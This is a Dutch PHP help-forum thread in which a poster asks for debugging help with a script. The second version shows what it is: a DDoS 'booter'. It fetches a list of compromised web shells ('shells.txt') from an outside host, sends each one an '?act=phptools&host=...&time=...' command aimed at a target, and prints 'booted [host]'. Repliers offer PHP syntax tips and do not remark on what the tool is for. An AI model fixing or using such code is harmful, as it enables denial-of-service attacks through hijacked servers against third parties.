Hey mensen, ik probeer iets in iets in iets te maken :D

Even serieus, dit is mijn code:

<?php
if (isset($_POST['1']) && isset($_POST['2'])) {
    $1 .= htmlspecialchars($_POST['1']);
    $2 .= htmlspecialchars($_POST['2']);
    
    $get .= file_get_contents('lijst.txt');
    $get .= '?checker&1='.$1.'&2='.$2.'';
    $ch   = curl_init();
    curl_setopt($ch, CURLOPT_URL, $get);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    echo  $get;
} else {
?>
<form method="POST" action="">
<p>1</p>
<input type="text" name="1" placeholder="1">
<p>2</p>
<input type="text" name="2" placeholder="2">
<br>
<input type="submit" value="test">
</form>
<?php
}
?>

Dit zou naar bijvoorbeeld 2 paginas gaan en:

http://kaas.nl?checker&1=1&2=2
http://kaas2.nl?checker&1=1&2=2
Maar het weergeeft:

http://kaas.nl ?checker&1=1&2=2
http://kaas2.nl ?checker&1=1&2=2

Hoe fix ik dit?!
Waar komt de string '?checker&1=1&2=2' vandaan? Of was dat eerst '?act=phptools&host=.....'

Het gebruik van een linebreak met PHP_EOL zou een goed idee zijn.
Kan je daar een voorbeeld van geven? / php.net.
Dat lukt ook niet echt, mijn code is nu:

<?php

error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
    $host = htmlspecialchars($_POST['host']);
    $time = htmlspecialchars($_POST['time']);
    

$urls = file(nl2br('http://creeby.nl/shells.txt'));
foreach($urls as $get) {
$get = $get.' . PHP_EOL .?act=phptools&host=' . $host . '&time=' . $time . '';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $get);
    curl_setopt($ch, CURLOPT_TIMEOUT, 0.6);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    echo 'booted ' . $host . ' for ' . $time . ' seconds ';
	echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="boot">
</form>
<?php
}
?>


[size=xsmall]Toevoeging op 14/05/2014 16:28:48:[/size]

Output is:
booted - for 1 seconds http://kaas.nl . PHP_EOL .?act=phptools&host=-&time=1booted - for 1 seconds http://laas2.nl . PHP_EOL .?act=phptools&host=-&time=1
Je weet toch wel wat een constante is, of is dat ook nog nieuw voor je?
Misschien moet je eens begrijpen dat PHP_EOL geen string is, en waarom plaats je die IN je URL-string? Aan het einde lijkt me logischer.
Als ik het goed heb, is dat om iets te returnen.
Als je het maar op de juiste manier gebruikt.

Reageren